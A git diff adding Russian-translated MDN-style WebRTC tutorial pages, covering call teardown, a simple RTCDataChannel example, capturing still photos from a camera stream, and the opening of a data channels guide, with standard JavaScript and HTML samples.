Each peer sends to the other peer a candidate for each possible transport configuration that it believes might be viable for the media being exchanged. At some point, the two peers agree that a given candidate is a good choice and they open the connection and begin to share media. It's important to note, however, that ICE negotiation does not stop once media is flowing. Instead, candidates may still keep being exchanged after the conversation has begun, either while trying to find a better connection method, or simply because they were already in transport when the peers successfully established their connection.

+ +

In addition, if something happens to cause a change in the streaming scenario, negotiation will begin again, with the {{event("negotiationneeded")}} event being sent to the {{domxref("RTCPeerConnection")}}, and the entire process starts again as described before. This can happen in a variety of situations, including:

+ + + +
Receiving new streams
+ +

When new tracks are added to the RTCPeerConnection— either by calling its {{domxref("RTCPeerConnection.addTrack", "addTrack()")}} method or because of renegotiation of the stream's format—a {{event("track")}} event is set to the RTCPeerConnection for each track added to the connection. Making use of newly added media requires implementing a handler for the track event. A common need is to attach the incoming media to an appropriate HTML element. In our example, we add the track's stream to the {{HTMLElement("video")}} element that displays the incoming video:

+ +
function handleTrackEvent(event) {
+  document.getElementById("received_video").srcObject = event.streams[0];
+  document.getElementById("hangup-button").disabled = false;
+}
+ +

The incoming stream is attached to the "received_video" {{HTMLElement("video")}} element, and the "Hang Up" {{HTMLElement("button")}} element is enabled so the user can hang up the call.

+ +

Once this code has completed, finally the video being sent by the other peer is displayed in the local browser window!

+ +
Handling the removal of tracks
+ +

Your code receives a {{event("removetrack")}} event when the remote peer removes a track from the connection by calling {{domxref("RTCPeerConnection.removeTrack()")}}. Our handler for "removetrack" is:

+ +
function handleRemoveTrackEvent(event) {
+  var stream = document.getElementById("received_video").srcObject;
+  var trackList = stream.getTracks();
+
+  if (trackList.length == 0) {
+    closeVideoCall();
+  }
+}
+ +

This code fetches the incoming video {{domxref("MediaStream")}} from the "received_video" {{HTMLElement("video")}} element's {{htmlattrxref("srcObject", "video")}} attribute, then calls the stream's {{domxref("MediaStream.getTracks", "getTracks()")}} method to get an array of the stream's tracks.

+ +

If the array's length is zero, meaning there are no tracks left in the stream, we end the call by calling closeVideoCall(). This cleanly restores our app to a state in which it's ready to start or receive another call. See {{anch("Ending the call")}} to learn how closeVideoCall() works.

+ +

Ending the call

+ +

There are many reasons why calls may end. A call might have completed, with one or both sides having hung up. Perhaps a network failure has occurred, or one user might have quit their browser, or had a system crash. In any case, all good things must come to an end.

+ +
Hanging up
+ +

When the user clicks the "Hang Up" button to end the call, the hangUpCall() function is called:

+ +
function hangUpCall() {
+  closeVideoCall();
+  sendToServer({
+    name: myUsername,
+    target: targetUsername,
+    type: "hang-up"
+  });
+}
+ +

hangUpCall() executes closeVideoCall() to shut down and reset the connection and release resources. It then builds a "hang-up" message and sends it to the other end of the call to tell the other peer to neatly shut itself down.

+ +
Ending the call
+ +

The closeVideoCall() function, shown below, is responsible for stopping the streams, cleaning up, and disposing of the {{domxref("RTCPeerConnection")}} object:

+ +
function closeVideoCall() {
+  var remoteVideo = document.getElementById("received_video");
+  var localVideo = document.getElementById("local_video");
+
+  if (myPeerConnection) {
+    myPeerConnection.ontrack = null;
+    myPeerConnection.onremovetrack = null;
+    myPeerConnection.onremovestream = null;
+    myPeerConnection.onicecandidate = null;
+    myPeerConnection.oniceconnectionstatechange = null;
+    myPeerConnection.onsignalingstatechange = null;
+    myPeerConnection.onicegatheringstatechange = null;
+    myPeerConnection.onnegotiationneeded = null;
+
+    if (remoteVideo.srcObject) {
+      remoteVideo.srcObject.getTracks().forEach(track => track.stop());
+    }
+
+    if (localVideo.srcObject) {
+      localVideo.srcObject.getTracks().forEach(track => track.stop());
+    }
+
+    myPeerConnection.close();
+    myPeerConnection = null;
+  }
+
+  remoteVideo.removeAttribute("src");
+  remoteVideo.removeAttribute("srcObject");
+  localVideo.removeAttribute("src");
+  remoteVideo.removeAttribute("srcObject");
+
+  document.getElementById("hangup-button").disabled = true;
+  targetUsername = null;
+}
+
+ +

After pulling references to the two {{HTMLElement("video")}} elements, we check if a WebRTC connection exists; if it does, we proceed to disconnect and close the call:

+ +
    +
  1. All of the event handlers are removed. This prevents stray event handlers from being triggered while the connection is in the process of closing, potentially causing errors.
    2. +
  2. For both remote and local video streams, we iterate over each track, calling the {{domxref("MediaStreamTrack.stop()")}} method to close each one.
    3. +
  3. Close the {{domxref("RTCPeerConnection")}} by calling {{domxref("RTCPeerConnection.close", "myPeerConnection.close()")}}.
    4. +
  4. Set myPeerConnection to null, ensuring our code learns there's no ongoing call; this is useful when the user clicks a name in the user list.
    5. +
+ +

Then for both the incoming and outgoing {{HTMLElement("video")}} elements, we remove their {{htmlattrxref("src", "video")}} and {{htmlattrxref("srcObject", "video")}} attributes using their {{domxref("Element.removeAttribute", "removeAttribute()")}} methods. This completes the disassociation of the streams from the video elements.

+ +

Finally, we set the {{domxref("HTMLElement.disabled", "disabled")}} property to true on the "Hang Up" button, making it unclickable while there is no call underway; then we set targetUsername to null since we're no longer talking to anyone. This allows the user to call another user, or to receive an incoming call.

+ +

Dealing with state changes

+ +

There are a number of additional events you can set listeners for which notifying your code of a variety of state changes. We use three of them: {{event("iceconnectionstatechange")}}, {{event("icegatheringstatechange")}}, and {{event("signalingstatechange")}}.

+ +
ICE connection state
+ +

{{event("iceconnectionstatechange")}} events are sent to the {{domxref("RTCPeerConnection")}} by the ICE layer when the connection state changes (such as when the call is terminated from the other end).

+ +
function handleICEConnectionStateChangeEvent(event) {
+  switch(myPeerConnection.iceConnectionState) {
+    case "closed":
+    case "failed":
+    case "disconnected":
+      closeVideoCall();
+      break;
+  }
+}
+ +

Here, we apply our closeVideoCall() function when the ICE connection state changes to "closed", "failed", or "disconnected". This handles shutting down our end of the connection so that we're ready start or accept a call once again.

+ +
ICE signaling state
+ +

Similarly, we watch for {{event("signalingstatechange")}} events. If the signaling state changes to closed, we likewise close the call out.

+ +
function handleSignalingStateChangeEvent(event) {
+  switch(myPeerConnection.signalingState) {
+    case "closed":
+      closeVideoCall();
+      break;
+  }
+};
+ +
+

Note: The closed signaling state has been deprecated in favor of the closed {{domxref("RTCPeerConnection.iceConnectionState", "iceConnectionState")}}. We are watching for it here to add a bit of backward compatibility.

+
+ +
ICE gathering state
+ +

{{event("icegatheringstatechange")}} events are used to let you know when the ICE candidate gathering process state changes. Our example doesn't use this for anything, but it can be useful to watch these events for debugging purposes, as well as to detect when candidate collection has finished.

+ +
function handleICEGatheringStateChangeEvent(event) {
+  // Our sample just logs information to console here,
+  // but you can do whatever you need.
+}
+
+ +

Next steps

+ +

You can now try out this example on Glitch to see it in action. Open the Web console on both devices and look at the logged output—although you don't see it in the code as shown above, the code on the server (and on GitHub) has a lot of console output so you can see the signaling and connection processes at work.

+ +

Another obvious improvement would be to add a "ringing" feature, so that instead of just asking the user for permission to use the camera and microphone, a "User X is calling. Would you like to answer?" prompt appears first.

diff --git a/files/ru/web/api/webrtc_api/simple_rtcdatachannel_sample/index.html b/files/ru/web/api/webrtc_api/simple_rtcdatachannel_sample/index.html new file mode 100644 index 0000000000..5d818e7829 --- /dev/null +++ b/files/ru/web/api/webrtc_api/simple_rtcdatachannel_sample/index.html @@ -0,0 +1,272 @@ +--- +title: Простой пример RTCDataChannel +slug: Web/API/WebRTC_API/Simple_RTCDataChannel_sample +translation_of: Web/API/WebRTC_API/Simple_RTCDataChannel_sample +--- +

{{WebRTCSidebar}}

+ +

Интерфейс {{domxref("RTCDataChannel")}} является функциональностью  WebRTC API , который позволяет открыть канал между узлами соединения, по которому можно отправлять и получать произвольные данные. Эти  API намеренно сходны с  WebSocket API, для использования единой програмной модели.

+ +

В этом примере мы откроем соединение {{domxref ("RTCDataChannel")}}, связывающее два элемента на одной странице. Хотя это явно надуманный сценарий, он полезен для демонстрации последовательности соединения двух узлов. Мы расскажем о механизме выполнения соединения, передачи и получения данных, но оставим немного информации о поиске и подключении к удаленному компьютеру для другого примера.

+ +

Разметка HTML

+ +

Сначала быстро посмотрим на  необходимую разметку HTML . В ней нет ничего сложного. В начале мы определяем пару кнопок, создающих и закрывающих соединение:

+ +
<button id="connectButton" name="connectButton" class="buttonleft">
+  Connect
+</button>
+<button id="disconnectButton" name="disconnectButton" class="buttonright" disabled>
+  Disconnect
+</button>
+ +

Затем, определяем блок, который содержит элемент управления ввода текста, в который пользователь печатает текст свого сообщения, предназначенного для отправки, по нажатию кнопки. Элемент {{HTMLElement("div")}} будет представлять первый узлел в канале передачи (сторона отправителя).

+ +
  <div class="messagebox">
+    <label for="message">Enter a message:
+      <input type="text" name="message" id="message" placeholder="Message text"
+              inputmode="latin" size=60 maxlength=120 disabled>
+    </label>
+    <button id="sendButton" name="sendButton" class="buttonright" disabled>
+      Send
+    </button>
+  </div>
+ +

И наконец, небольшой блок, в который будем помещать получаемое сообщение. Элемент {{HTMLElement("div")}} будет представлять второй узел соединения (сторона получателя).

+ +
<div class="messagebox" id="receivebox">
+  <p>Messages received:</p>
+</div>
+ +

Код JavaScript

+ +

While you can just look at the code itself on GitHub, below we'll review the parts of the code that do the heavy lifting.

+ +

The WebRTC API makes heavy use of {{jsxref("Promise")}}s. They make it very easy to chain the steps of the connection process together; if you haven't already read up on this functionality of ECMAScript 2015, you should read up on them. Similarly, this example uses arrow functions to simplify syntax.

+ +

Starting up

+ +

When the script is run, we set up an {{event("load")}} event listener, so that once the page is fully loaded, our startup() function is called.

+ +
function startup() {
+  connectButton = document.getElementById('connectButton');
+  disconnectButton = document.getElementById('disconnectButton');
+  sendButton = document.getElementById('sendButton');
+  messageInputBox = document.getElementById('message');
+  receiveBox = document.getElementById('receivebox');
+
+  // Set event listeners for user interface widgets
+
+  connectButton.addEventListener('click', connectPeers, false);
+  disconnectButton.addEventListener('click', disconnectPeers, false);
+  sendButton.addEventListener('click', sendMessage, false);
+}
+ +

This is quite straightforward. We grab references to all the page elements we'll need to access, then set {{domxref("EventListener", "event listeners")}} on the three buttons.

+ +

Establishing a connection

+ +

When the user clicks the "Connect" button, the connectPeers() method is called. We're going to break this up and look at it a bit at a time, for clarity.

+ +
+

Note: Even though both ends of our connection will be on the same page, we're going to refer to the one that starts the connection as the "local" one, and to the other as the "remote" end.

+
+ +

Set up the local peer

+ +
localConnection = new RTCPeerConnection();
+
+sendChannel = localConnection.createDataChannel("sendChannel");
+sendChannel.onopen = handleSendChannelStatusChange;
+sendChannel.onclose = handleSendChannelStatusChange;
+
+ +

The first step is to create the "local" end of the connection. This is the peer that will send out the connection request.  The next step is to create the {{domxref("RTCDataChannel")}} by calling {{domxref("RTCPeerConnection.createDataChannel()")}} and set up event listeners to monitor the channel so that we know when it's opened and closed (that is, when the channel is connected or disconnected within that peer connection).

+ +

It's important to keep in mind that each end of the channel has its own {{domxref("RTCDataChannel")}} object.

+ +

Set up the remote peer

+ +
remoteConnection = new RTCPeerConnection();
+remoteConnection.ondatachannel = receiveChannelCallback;
+ +

The remote end is set up similarly, except that we don't need to explicitly create an {{domxref("RTCDataChannel")}} ourselves, since we're going to be connected through the channel established above. Instead, we set up a {{event("datachannel")}} event handler; this will be called when the data channel is opened; this handler will receive an RTCDataChannel object; you'll see this below.

+ +

Set up the ICE candidates

+ +

The next step is to set up each connection with ICE candidate listeners; these will be called when there's a new ICE candidate to tell the other side about.

+ +
+

Note: In a real-world scenario in which the two peers aren't running in the same context, the process is a bit more involved; each side provides, one at a time, a suggested way to connect (for example, UDP, UDP with a relay, TCP, etc.) by calling {{domxref("RTCPeerConnection.addIceCandidate()")}}, and they go back and forth until agreement is reached. But here, we just accept the first offer on each side, since there's no actual networking involved.

+
+ +
    localConnection.onicecandidate = e => !e.candidate
+        || remoteConnection.addIceCandidate(e.candidate)
+        .catch(handleAddCandidateError);
+
+    remoteConnection.onicecandidate = e => !e.candidate
+        || localConnection.addIceCandidate(e.candidate)
+        .catch(handleAddCandidateError);
+ +

We configure each {{domxref("RTCPeerConnection")}} to have an event handler for the {{event("icecandidate")}} event.

+ +

Start the connection attempt

+ +

The last thing we need to do in order to begin connecting our peers is to create a connection offer.

+ +
    localConnection.createOffer()
+    .then(offer => localConnection.setLocalDescription(offer))
+    .then(() => remoteConnection.setRemoteDescription(localConnection.localDescription))
+    .then(() => remoteConnection.createAnswer())
+    .then(answer => remoteConnection.setLocalDescription(answer))
+    .then(() => localConnection.setRemoteDescription(remoteConnection.localDescription))
+    .catch(handleCreateDescriptionError);
+ +

Let's go through this line by line and decipher what it means.

+ +
    +
  1. First, we call {{domxref("RTCPeerConnection.createOffer()")}} method to create an {{Glossary("SDP")}} (Session Description Protocol) blob describing the connection we want to make. This method accepts, optionally, an object with constraints to be met for the connection to meet your needs, such as whether the connection should support audio, video, or both. In our simple example, we don't have any constraints.
    2. +
  2. If the offer is created successfully, we pass the blob along to the local connection's {{domxref("RTCPeerConnection.setLocalDescription()")}} method. This configures the local end of the connection.
    3. +
  3. The next step is to connect the local peer to the remote by telling the remote peer about it. This is done by calling remoteConnection.{{domxref("RTCPeerConnection.setRemoteDescription()")}}. Now the remoteConnection knows about the connection that's being built. In a real application, this would require a signaling server to exchange the description object.
    4. +
  4. That means it's time for the remote peer to reply. It does so by calling its {{domxref("RTCPeerConnection.createAnswer", "createAnswer()")}} method. This generates a blob of SDP which describes the connection the remote peer is willing and able to establish. This configuration lies somewhere in the union of options that both peers can support.
    5. +
  5. Once the answer has been created, it's passed into the remoteConnection by calling {{domxref("RTCPeerConnection.setLocalDescription()")}}. That establishes the remote's end of the connection (which, to the remote peer, is its local end. This stuff can be confusing, but you get used to it). Again, this would normally be exchanged through a signalling server.
    6. +
  6. Finally, the local connection's remote description is set to refer to the remote peer by calling localConnection's {{domxref("RTCPeerConnection.setRemoteDescription()")}}.
    7. +
  7. The catch() calls a routine that handles any errors that occur.
    8. +
+ +
+

Note: Once again, this process is not a real-world implementation; in normal usage, there's two chunks of code running on two machines, interacting and negotiating the connection. A side channel, commonly called a “signalling server,” is usually used to exchange the description (which is in application/sdp form) between the two peers.

+
+ +

Handling successful peer connection

+ +

As each side of the peer-to-peer connection is successfully linked up, the corresponding {{domxref("RTCPeerConnection")}}'s {{event("icecandidate")}} event is fired. These handlers can do whatever's needed, but in this example, all we need to do is update the user interface:

+ +
  function handleLocalAddCandidateSuccess() {
+    connectButton.disabled = true;
+  }
+
+  function handleRemoteAddCandidateSuccess() {
+    disconnectButton.disabled = false;
+  }
+ +

The only thing we do here is disable the "Connect" button when the local peer is connected and enable the "Disconnect" button when the remote peer connects.

+ +

Connecting the data channel

+ +

Once the {{domxref("RTCPeerConnection")}} is open, the {{event("datachannel")}} event is sent to the remote to complete the process of opening the data channel; this invokes our receiveChannelCallback() method, which looks like this:

+ +
  function receiveChannelCallback(event) {
+    receiveChannel = event.channel;
+    receiveChannel.onmessage = handleReceiveMessage;
+    receiveChannel.onopen = handleReceiveChannelStatusChange;
+    receiveChannel.onclose = handleReceiveChannelStatusChange;
+  }
+ +

The {{event("datachannel")}} event includes, in its channel property, a reference to a {{domxref("RTCDataChannel")}} representing the remote peer's end of the channel. This is saved, and we set up, on the channel, event listeners for the events we want to handle. Once this is done, our handleReceiveMessage() method will be called each time data is received by the remote peer, and the handleReceiveChannelStatusChange() method will be called any time the channel's connection state changes, so we can react when the channel is fully opened and when it's closed.

+ +

Handling channel status changes

+ +

Both our local and remote peers use a single method to handle events indicating a change in the status of the channel's connection.

+ +

When the local peer experiences an open or close event, the handleSendChannelStatusChange() method is called:

+ +
  function handleSendChannelStatusChange(event) {
+    if (sendChannel) {
+      var state = sendChannel.readyState;
+
+      if (state === "open") {
+        messageInputBox.disabled = false;
+        messageInputBox.focus();
+        sendButton.disabled = false;
+        disconnectButton.disabled = false;
+        connectButton.disabled = true;
+      } else {
+        messageInputBox.disabled = true;
+        sendButton.disabled = true;
+        connectButton.disabled = false;
+        disconnectButton.disabled = true;
+      }
+    }
+  }
+ +

If the channel's state has changed to "open", that indicates that we have finished establishing the link between the two peers. The user interface is updated correspondingly by enabling the text input box for the message to send, focusing the input box so that the user can immediately begin to type, enabling the "Send" and "Disconnect" buttons, now that they're usable, and disabling the "Connect" button, since it is not needed when the conneciton is open.

+ +

If the state has changed to "closed", the opposite set of actions occurs: the input box and "Send" button are disabled, the "Connect" button is enabled so that the user can open a new connection if they wish to do so, and the "Disconnect" button is disabled, since it's not useful when no connection exists.

+ +

Our example's remote peer, on the other hand, ignores the status change events, except for logging the event to the console:

+ +
  function handleReceiveChannelStatusChange(event) {
+    if (receiveChannel) {
+      console.log("Receive channel's status has changed to " +
+                  receiveChannel.readyState);
+    }
+  }
+ +

The handleReceiveChannelStatusChange() method receives as an input parameter the event which occurred; this will be an {{domxref("RTCDataChannelEvent")}}.

+ +

Sending messages

+ +

When the user presses the "Send" button, the sendMessage() method we've established as the handler for the button's {{event("click")}} event is called. That method is simple enough:

+ +
  function sendMessage() {
+    var message = messageInputBox.value;
+    sendChannel.send(message);
+
+    messageInputBox.value = "";
+    messageInputBox.focus();
+  }
+ +

First, the text of the message is fetched from the input box's {{htmlattrxref("value", "input")}} attribute. This is then sent to the remote peer by calling {{domxref("RTCDataChannel.send", "sendChannel.send()")}}. That's all there is to it! The rest of this method is just some user experience sugar -- the input box is emptied and re-focused so the user can immediately begin typing another message.

+ +

Receiving messages

+ +

When a "message" event occurs on the remote channel, our handleReceiveMessage() method is called as the event handler.

+ +
  function handleReceiveMessage(event) {
+    var el = document.createElement("p");
+    var txtNode = document.createTextNode(event.data);
+
+    el.appendChild(txtNode);
+    receiveBox.appendChild(el);
+  }
+ +

This method simply performs some basic {{Glossary("DOM")}} injection; it creates a new {{HTMLElement("p")}} (paragraph) element, then creates a new {{domxref("Text")}} node containing the message text, which is received in the event's data property. This text node is appended as a child of the new element, which is then inserted into the receiveBox block, thereby causing it to draw in the browser window.

+ +

Disconnecting the peers

+ +

When the user clicks the "Disconnect" button, the disconnectPeers() method previously set as that button's handler is called.

+ +
  function disconnectPeers() {
+
+    // Close the RTCDataChannels if they're open.
+
+    sendChannel.close();
+    receiveChannel.close();
+
+    // Close the RTCPeerConnections
+
+    localConnection.close();
+    remoteConnection.close();
+
+    sendChannel = null;
+    receiveChannel = null;
+    localConnection = null;
+    remoteConnection = null;
+
+    // Update user interface elements
+
+    connectButton.disabled = false;
+    disconnectButton.disabled = true;
+    sendButton.disabled = true;
+
+    messageInputBox.value = "";
+    messageInputBox.disabled = true;
+  }
+
+ +

This starts by closing each peer's {{domxref("RTCDataChannel")}}, then, similarly, each {{domxref("RTCPeerConnection")}}. Then all the saved references to these objects are set to null to avoid accidental reuse, and the user interface is updated to reflect the fact that the connection has been closed.

+ +

Следующие шаги

+ +

Попробуйте пример в деле  и посмотрите на исходный код простого примера, доступный на GitHub.

diff --git a/files/ru/web/api/webrtc_api/taking_still_photos/index.html b/files/ru/web/api/webrtc_api/taking_still_photos/index.html new file mode 100644 index 0000000000..ec5e7ec42d --- /dev/null +++ b/files/ru/web/api/webrtc_api/taking_still_photos/index.html @@ -0,0 +1,222 @@ +--- +title: Захват кадров с WebRTC +slug: Web/API/WebRTC_API/Taking_still_photos +tags: + - Захват WebRTC +translation_of: Web/API/WebRTC_API/Taking_still_photos +--- +

{{WebRTCSidebar}}

+ +

В этой статье объясняется как использовать WebRTC для получения доступа к камере компьютера или мобильного устройства, и захвата кадров с их помощью. Ознакомтесь с примером, а затем узнайте как это работает.

+ +

Uz WebRTC balstīta attēla uztveršanas lietotne - kreisajā pusē un bez tīmekļa kameras uzņemšanas video straumē un poga

+ +

Перейдите непостредственно к коду на Github , при желании.

+ +

Разметка HTML

+ +

Наш HTML интерфейс состоит из двух секций : панель отображения видео потока, из которого будет производиться захват и панель отображения результата захвата. Каждая панель имеет свой элемент {{HTMLElement ("div")}}, для облегчения стилизации и управления.

+ +

Первая панель слева содержит два компонента : элемент {{HTMLElement ("video")}} , который будет получать поток, отводимый с камеры, и элемент  {{HTMLElement("button")}}, каторый будет использоваться пользователем для активации захвата видео кадра.

+ +
  <div class="camera">
+    <video id="video">Video stream not available.</video>
+    <button id="startbutton">Take photo</button>
+  </div>
+ +

Все это просто, и мы увидим как они связаны между собой, когда обратимся к коду  JavaScript .

+ +

В разметке имеется элемент {{HTMLElement("canvas")}} , который сохраняет захваченный кадр, который может быть дополнительно обработан и конвертируется в выходной файл изображения. Элемент canvas является скрытым, в его стиле свойство {{cssxref("display")}}:none, во избежании поломки интерфейса, где пользователю совершенно не обязательно видеть служебные элементы.

+ +

Для отображения пользователю результата захвата кадра, в интерфейсе расположен элемент {{HTMLElement("img")}}.

+ +
  <canvas id="canvas">
+  </canvas>
+  <div class="output">
+    <img id="photo" alt="The screen capture will appear in this box.">
+  </div>
+ +

Вот и все, что касается HTML. Остальное - просто пух макета страницы и немного текста, предлагающего ссылку на эту страницу.

+ +

Код JavaScript

+ +

Посмотрим на  JavaScript code. Разобъем его на части, для упрощения объяснения.

+ +

Инициализация

+ +

Начнем с обертки всего скрипта в анонимную функцию, во избежании конфликтов глобальных переменных, затем инициализируем различные нужные  переменные.

+ +
(function() {
+  var width = 320;    // Этим создадим ширину фотографии
+  var height = 0;    // Это будет вычисляться на основе входящего потока
+
+  var streaming = false;
+
+  var video = null;
+  var canvas = null;
+  var photo = null;
+  var startbutton = null;
+ +

Все переменные выше:

+ +
+
width
+
Какой бы не был размер входящего видео, мы намерены масштабировать результирующее изображение к ширине в 320 px.
+
height
+
Результирующая высота изображения будет вычисляться на основе переданной ширины и соотношению сторон потока с камеры.
+
streaming
+
Указывает на текущую активность видеопотока.
+
video
+
Будет содержать ссылку на элемент {{HTMLElement("video")}}  после загрузки страницы.
+
canvas
+
Содержит ссылку на элемент  {{HTMLElement("canvas")}} после загрузки страницы.
+
photo
+
Содержит ссылку на элемент  {{HTMLElement("img")}} после загрузки страницы.
+
startbutton
+
Содержит ссылку на элемент  {{HTMLElement("button")}} после загрузки страницы, используюется для старта захвата.
+
+ +

Функция  startup()

+ +

Функция startup() запускается, когда страница закончила загрузку, благодаря установке {{domxref("window.addEventListener()")}}. Работа функции состоит в том, что бы запросить доступ у пользователя к его камере, инициализировать элемент  {{HTMLElement("img")}} в значение по умолчанию, и установить обработчики событий, необходимых для получения каждого видеокадра с камеры, запускать захват изображения, при нажатии на кнопку.

+ +

Получаем ссылки на элементы

+ +

Сначала, получим ссылки на основные элементы, доступ к которым нам необходим.

+ +
  function startup() {
+    video = document.getElementById('video');
+    canvas = document.getElementById('canvas');
+    photo = document.getElementById('photo');
+    startbutton = document.getElementById('startbutton');
+ +

Получаем медиапоток 

+ +

Следующая задача - получение медиапотока:

+ +
    navigator.mediaDevices.getUserMedia({ video: true, audio: false })
+    .then(function(stream) {
+        video.srcObject = stream;
+        video.play();
+    })
+    .catch(function(err) {
+        console.log("An error occurred: " + err);
+    });
+
+ +

Здесь мы вазываем метод  {{domxref("MediaDevices.getUserMedia()")}} , запрашивая медиапоток без аудиопотока (audio : false). Он возвращает промис, на котором мы определяем методы успешного и не успешного выполнений.

+ +

Успешное выполнение промиса передает объект потока( stream ) в качестве параметра функции метода then()., который присваевается свойству srcObject элемента {{HTMLElement("video")}}, направляя поток в него.

+ +

Как только поток связан с элементом <video> ,  запускаем его воспроизведение, вызовом метода HTMLMediaElement.play().

+ +

Метод обработки ошибки промиса  вызывается в случае, если получение потока окажется неудачным, к примеру, когда к устройству подключена несовместимая камера, или пользователь запретил к ней доступ.

+ +

Обработка события начала воспроизведения

+ +

После момента вызова метода  HTMLMediaElement.play() на элементе {{HTMLElement("video")}}, возникает промежуток времени до начала воспроизведения видеопотока. Для недопущения блокирования интерфейса пользователя в это промежуток, нужно установить обработчик события {{event("canplay")}} элемента video , который сработает, когда элемент начнет воспроизведение видеопотока. В этот момент все свойства элемента video конфигурируются на основе формата потока.

+ +
    video.addEventListener('canplay', function(ev){
+      if (!streaming) {
+        height = video.videoHeight / (video.videoWidth/width);
+
+        video.setAttribute('width', width);
+        video.setAttribute('height', height);
+        canvas.setAttribute('width', width);
+        canvas.setAttribute('height', height);
+        streaming = true;
+      }
+    }, false);
+ +

Функциональность обработчика не будет запущена, если он запускается повторно. Это отслеживает переменная streaming , которая содержит значение  false при первом запуске обработчика.

+ +

Если это действительно первый запуск, мы устанавливаем высоту видео на основе разницы в размере между фактическим размером видео - video.videoWidth и шириной, на которую мы собираемся его визуализировать - width

+ +

Наконец, свойства width и height элементов video и canvas устанавливаются так, чтобы соответствовать друг другу, вызывая метод {{domxref("Element.setAttribute()")}} на каждом из двух свойств каждого элемента, и, при необходимости, устанавливая ширину и высоту. Наконец, мы установили для  переменной streaming значение true, чтобы предотвратить случайное повторное выполнение этого установочного кода.

+ +

Обработка нажатий кнопки

+ +

Для захвата кадра, пользователь каждый раз нажимает кнопку  startbutton, нужно добавить обработчик события кнопки, для его вызова при возникновении события  {{event("click")}} :

+ +
    startbutton.addEventListener('click', function(ev){
+      takepicture();
+      ev.preventDefault();
+    }, false);
+ +

Метод прост, он вызывает функцию  takepicture(), определяемую ниже в секции  {{anch("Capturing a frame from the stream")}}, затем вызывает метод {{domxref("Event.preventDefault()")}} на полученном объекте события, для предотвращения действия обработки события более одного раза.

+ +

Завершение метода  startup() 

+ +

Еще пара строк кода в методе startup():

+ +
    clearphoto();
+  }
+ +

Вызов метода clearphoto() описывается в секции {{anch("Clearing the photo box")}}.

+ +

Отчистка бокса для фотографии

+ +

Очистка бокса фотографии включает создание изображения, а затем преобразование его в формат, используемый элементом {{HTMLElement ("img")}}, который отображает последний снятый кадр. Код ниже:

+ +
  function clearphoto() {
+    var context = canvas.getContext('2d');
+    context.fillStyle = "#AAA";
+    context.fillRect(0, 0, canvas.width, canvas.height);
+
+    var data = canvas.toDataURL('image/png');
+    photo.setAttribute('src', data);
+  }
+ +

Начнем с получения ссылки на скрытый элемент {{HTMLElement ("canvas")}}, который мы используем для рендеринга за пределами экрана. Затем мы устанавливаем свойсто fillStyle в  #AAA ( светло-серый) и заполняем весь холст этим цветом, вызывая метод {{domxref("CanvasRenderingContext2D.fillRect()","fillRect()")}}.

+ +

Наконец, в этой функции мы конвертируем canvas в изображение PNG и вызываем метод {{domxref("Element.setAttribute", "photo.setAttribute()")}} отображая захваченный цветовой фон в элементе изображения (бокса для фотографии).

+ +

Захват кадра из видеопотока

+ +

Последняя функция, требующая определения и являющаяся основным смыслом всего примера - takepicture() , которая захватывает текущий видеокадр, конвертирует его в формат PNG, и отображает его в блоке отображения кадра. Код её ниже:

+ +
  function takepicture() {
+    var context = canvas.getContext('2d');
+    if (width && height) {
+      canvas.width = width;
+      canvas.height = height;
+      context.drawImage(video, 0, 0, width, height);
+
+      var data = canvas.toDataURL('image/png');
+      photo.setAttribute('src', data);
+    } else {
+      clearphoto();
+    }
+  }
+ +

Как и в случае, когда нам нужно работать с содержимым canvas, мы начинаем с {{domxref("CanvasRenderingContext2D","2D drawing context")}}  для скрытого canvas.

+ +

Затем, если ширина и высота не равны нулю (имеется в виду, что есть, по крайней мере, потенциально допустимые данные изображения), мы устанавливаем ширину и высоту canvas, чтобы они соответствовали ширине захваченного кадра, затем вызываем метод {{domxref("CanvasRenderingContext2D.drawImage()", "drawImage()")}} , что бы отрисовать текущий кадр видео в контексте canvas, заполнив весь холст изображением кадра.

+ +
+

Примечание : Используется факт того, что интерфейс {{domxref("HTMLVideoElement")}} похож на интерфейс {{domxref("HTMLImageElement")}} для любых API , которые принимают HTMLImageElement в качестве параметра, с текущим кадром видео, представленным как содержимое изображения.

+
+ +

Как тоько  canvas будет содержать захваченное видео, конвертируем его в  PNG формат, вызывая метод {{domxref("HTMLCanvasElement.toDataURL()")}} на нем; наконец вызываем метод {{domxref("Element.setAttribute", "photo.setAttribute()")}} отображая захваченное изображение в элементе изображения (бокса фотографии).

+ +

Если подходящее изображение не доступно (то есть, width и height равны  0), отчищаем содержимое элемента изображения, вызывая метод clearphoto().

+ +

Приколы с фильтрами

+ +

Поскольку мы снимаем изображения с веб-камеры пользователя, захватывая кадры из элемента {{HTMLElement("video")}} , можно легко применить фильтры и забавные эффекты к элементу video. Оказывается, любые CSS-фильтры, которые вы применяете к элементу с помощью свойства {{cssxref ("filter")}}, влияют на захваченную фотографию.Эти фильтры могут варьироваться от простых (делая изображение черно-белым) до экстремальных (размытие по Гауссу и вращение оттенка).

+ +

Вы можете экспериментировать с этими эффектами, используя, например, инструмент разработчика FirefoxYou  редактор стилей; смотрим Редактирование с CSS фильтрами о подробностях выполнения.

+ +

Использование определенных устройств

+ +

При необходимости вы можете ограничить набор разрешенных источников видео, определенным устройством или набором устройств. Для этого нужно вызвать метод {{domxref("navigator.mediaDevices.enumerateDevices()")}}. Когда промис разрешиться массивом объектов {{domxref("MediaDeviceInfo")}} , описывающих доступные устройства , выберите те, которым хотите разрешить доступ и укажите соответствующий идентификатор устройства {{domxref("MediaTrackConstraints.deviceId", "deviceId")}} или несколько deviceId в объекте  {{domxref("MediaTrackConstraints")}} , переданном в  {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}}.

+ +

Смотри так же

+ + diff --git a/files/ru/web/api/webrtc_api/using_data_channels/index.html b/files/ru/web/api/webrtc_api/using_data_channels/index.html new file mode 100644 index 0000000000..f8074830d4 --- /dev/null +++ b/files/ru/web/api/webrtc_api/using_data_channels/index.html @@ -0,0 +1,94 @@ +--- +title: Использование каналов данных в WebRTC +slug: Web/API/WebRTC_API/Using_data_channels +translation_of: Web/API/WebRTC_API/Using_data_channels +--- +

{{WebRTCSidebar}}{{draft}}

+ +

Как только WebRTC соединение установлено, используя интерфейс {{domxref("RTCPeerConnection")}}, приложение в состоянии отправлять и получать медиаданные между двумя узлами в соединении. Но от WebRTC можно получить больше. В этом руководстве мы изучим то, как добавить канал данных в соединение, который будет использован для безопасной передачи произвольных данных (данных любого типа, в любом формате).

+ +
+

